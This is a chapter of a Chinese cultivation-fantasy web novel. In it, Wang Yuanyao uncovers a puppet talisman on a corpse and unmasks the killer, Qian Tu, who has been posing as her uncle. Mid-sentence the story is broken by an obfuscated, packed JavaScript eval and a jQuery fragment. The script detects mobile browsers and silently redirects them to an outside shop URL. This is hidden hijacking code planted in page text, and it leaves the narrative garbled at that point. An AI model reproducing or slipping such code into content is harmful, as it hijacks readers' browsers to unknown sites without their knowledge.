夜里发生那么大事,钱中灵想着外甥女会睡不着,小孩子嘛,胆子小被吓到很正常,多哄一哄就好了。
可王元瑶只是叫小厮上几份菜,风卷残云吃完三人份后,跑到房间里呼呼大睡,直到傍晚也不见醒来。
原定的离开时辰只能向后推移一天,等她睡醒再说。
半夜子时,王元瑶睡醒。
王元瑶躺在客房的床上,睁着眼睛看屋顶的横梁。精神养足了,就有多余的心思去想别的事情,三舅舅说的事在她脑子里转来转去。
掌中丝缕……她以前听父亲提过这门功法,父亲说,师公是难得的厚道人,明明掌握着能杀人于无形的功法,却只用它来炼丹救人。
功法本身没有善恶,全看用的人。
想到这里,她忽然听见院墙外传来极轻的脚步声,那声音几乎被风声盖过,若不是她正凝神细听,根本注意不到。
王元瑶无声地翻身下床,从枕头底下抽出长剑,她走到窗边,用剑尖挑开一条窗缝。
院子里月光洋洋洒洒落一地,有风吹过,卷起几片枯梧桐叶打在青砖上,发出细碎的声响。
什么嘛,没有人,自己吓自己。
王元瑶正收长剑,猛地瞥见长剑剑身清晰倒映着一个人影,那人就在房间里,正一跛一跛走向她。他黑发及腰,脸色发青发白,鼻尖有一颗痣,正是钱途!
钱途举高右掌,五指上缠绕着三根红线,红线似有生命一般在朝着她蠕动。
王元瑶全身血液在一瞬间倒流,耳朵里是一阵长鸣,长鸣过后,四周什么声音都听不见,心跳声如雷一般在胸腔里炸开,后背覆上一层细细密密的冷汗。
有那么一种人,越是害怕反而头脑越是冷静,王元瑶就是这种人。
极端情况下,王元瑶身体先脑子一步作出决断,她口念术法,周身漂浮起层层叠叠的符咒,在她讲完最后一个字时,所有符咒裹挟着破空之势“嗖”“嗖”冲向钱途。
而在符咒之间,王元瑶的剑带着杀招接踵而至。
王元瑶和钱途交手五招。
剑尖触到钱途衣襟时,王元瑶指尖传来一阵极其细微的震颤,那不是活人肌肉发力时该有的抖动,倒像是……丝线绷紧又松开时的那种余韵。
她心里咯噔一下,手下立即由攻击转为守,观察钱途。
钱途的剑法招招致命,可那种“先提肘、再抬腕”的僵硬感始终挥之不去,像一段卡壳的傀儡戏,动作虽然到位,节拍却总慢半拍。
莫非......
王元瑶脚下两只加速符发亮,身形一晃已跑到钱途背后,她指尖凝出一点灵光,点在钱途后背上。
下一刻,一张杏黄色的符纸透过钱途衣服透了出来,符头朱砂蜿蜒如蛇,正一跳一跳地发亮。
果然是这样。
王元瑶伸手探向他后颈,指尖触到一片粗糙的杏黄色符纸,她猛地扯住那片纸角往外一撕,钱途整个人像是断了线的木偶,直挺挺向前栽倒。
“傀儡符。”
王元瑶蹲下身,把手指探到钱途鼻端,没有呼吸;又去摸他手腕,脉搏全无;皮肤冰凉僵硬,像一块腊月里冻透的石头。
钱途早就死了。
七天。
至少七天。
或许更久。
王元瑶站起身,夜风吹起她鬓边的碎发。她盯着地手里那张杏黄色的傀儡符,符纸上的朱砂纹路还在缓缓流动,像一条条活着的血线。母符就在附近,不超过五十丈。
挖金丹的人不是钱途,钱途只是个傀儡,凶手另有其人。
王元瑶跑向钱中灵房间,“砰砰砰”地砸门,“三舅舅!三舅舅快开门!钱途出事了!”
里头静了一瞬,随即脚步声传来,门开时带出一股沉水香的味道。
钱中灵的手顿在烛台边,火苗跳了跳,在他脸上投下一片晃动的阴影。他缓缓转过身来,眉心微蹙,“外甥女,你说什么?”
“钱途死了!至少死了七天!有人在他身上贴了傀儡符,操纵他的尸体到处挖金丹!”王元瑶在桌边坐下,抓起桌上的茶壶给自己倒了一杯,语气过于急促,连带着水洒出来不少。
钱中灵走过来,在她对面坐下,接过茶杯给她重新倒了一杯,“外甥女,慢慢说,发生什么了。”
“我不太清楚!但钱途是冤枉的!有人背后操纵他!”王元瑶把傀儡符从袖中掏出来拍在桌上,“三舅舅你看这个!母符一定就在附近,不超过五十丈!只要……”
王元瑶的话音突然断了。
钱中灵倒茶时,烛光从他手背上滑过,皮肤光洁如新,没有半点疤痕。
王元瑶记得很清楚,钱夫人说她小时候调皮玩烛台,三舅舅为了她导致右手掌被烛台扎穿,血从手背的窟窿里汩汩往外冒。后来伤口虽然愈合了,但留下一个铜钱大小的疤,像一朵小小的向日葵。
可眼前这只手干干净净,比少女的皮肤都嫩。
更麻烦的是,桌上的傀儡符对着钱中灵如临大敌,上面的朱砂纹路暴躁地撞来撞去,恨不得把自己撕烂。
所以,三舅舅就是那个操控钱途到处挖金丹的人?
王元瑶慢慢站起身,手已经按上腰间剑柄,“三舅舅,外甥女有个问题想问你,你的手背……是换了一张皮吗?”
房间的空气骤然凝固。
钱中灵沉默了片刻,忽然低低地笑了一声,那笑声和他平日里温润爽朗的声线截然不同,带着一种阴柔的、像是筷子敲击瓷器的尖锐感。
钱中灵指了指自己的脸,“准确地讲,是套了一层皮,不过不是手背,是这儿。”
钱中灵抬起手,缓缓揭开脸上那张薄如蝉翼的面具,面具后面是一张年轻的脸,清秀俊美,鼻尖上一颗小小的黑痣。
是钱途的脸,活着的、会呼吸的、眉眼间带着狠戾的钱途的脸。
“你就是钱……途?”
钱途把面具随手丢在桌上,歪着头看她,嘴角扯出一个似笑非笑的弧度,“是我。”
“我三舅舅呢?”
钱途没回答,只是伸了个懒腰,骨节发出噼啪的响声。
王元瑶胸口起伏着,手指已经扣住了袖中暗藏的雷火
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811604|210863||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
符,警惕地盯着他,“你给我说清楚,我三舅舅在哪儿!”
钱途给自己也倒了杯茶,他喝茶的姿势还带着钱中灵的影子,脊背挺得笔直,眼角带几分作为长辈的沉稳持重。
“十天前我就把钱中灵的金丹挖出来了,然后把他做成死尸傀儡,替我去挖金丹,”钱途说这话时语气轻描淡写,像是在说今天晚饭吃了什么,“你刚才不是已经见到钱中灵了吗。”
王元瑶觉得胃里一阵翻搅。
从一开始真正的钱途已经换上了钱中灵的脸,大摇大摆地进了梧桐镇,扮演三舅舅接外甥女。
“钱途,来梧桐镇的修士跟你无冤无仇,你挖他们金丹做什么?”
钱途抬起眼,“我已经试了八次,都不够。”
王元瑶后背窜起一股寒意,这意味着还将会有第九个,第十个……,“你剖的那些金丹,是在找什么?”
钱途没有立刻回答,他低头转了转茶杯,拇指无意识地摩挲着杯沿。半晌,他忽然笑了,笑容里带着点癫狂的意味。
“找我自己的。”钱途说,“你是王氏一族的人,我不想节外生枝,我打算做几天三舅舅,跟你演一出舅甥情深,把你送回钱氏一族。可是谁叫你这么聪明,一下子就戳穿我,现在要怎么办?”
王元瑶猛地刺出长剑,这一剑又快又狠,剑尖带着灵力,在空气中划出一道白痕。
钱途侧身避开,右腿踉跄了一下,但右手的红线已经悄无声息地缠上了王元瑶剑身。
“掌中丝缕!”王元瑶感觉到剑上传来的异样,那红线竟然在顺着剑刃往她手上爬,试图探入她的经脉。她当机立断撤剑后退,同时左手掐诀,一道火符拍向桌子拉开两个人距离。
火光照亮了房间。
王元瑶这才发现,钱途胸口有一片暗色,是血迹。昨晚在客栈大堂留下的血腥气,是他自己的。
她脱口而出,“你受伤了?”
钱途被火符逼退三步,闻言微微一怔,他低头看了看自己胸口的伤,忽然笑了一下。那个笑容很淡,却是他令人最舒服的表情。
“外甥女,”钱途说,“你跟你三舅舅不一样,你三舅舅看人先看利弊,你看人先看伤口。”
钱途看了一眼时辰,将红线收回袖中,“我还有事,今晚不打了。”
说完,钱途翻身越过院墙,跛着腿消失在夜色里。
王元瑶握着剑站在房间里,心跳如鼓,她是不是拣回一条命?
王元瑶低头看自己的长剑,剑刃上缠着的几根极细的红线,正慢慢化作光点消散。
掌中丝缕。
她伸手碰了碰那消散的光点,指尖传来一阵微麻。掌中丝缕果然精妙,若是认真交手,她在钱途手里撑不过十个回合。幸好他受伤了,还伤得不轻。
王元瑶忽然想起白天三舅舅说的话,钱途偷学掌中丝缕,算起来不到十天就入了门。
十天。
师公这门功法练了三十年,一直用它分离药材,钱途十天就敢用它剖人内丹。这种天资,若用在正道上……
啊,真是可惜了。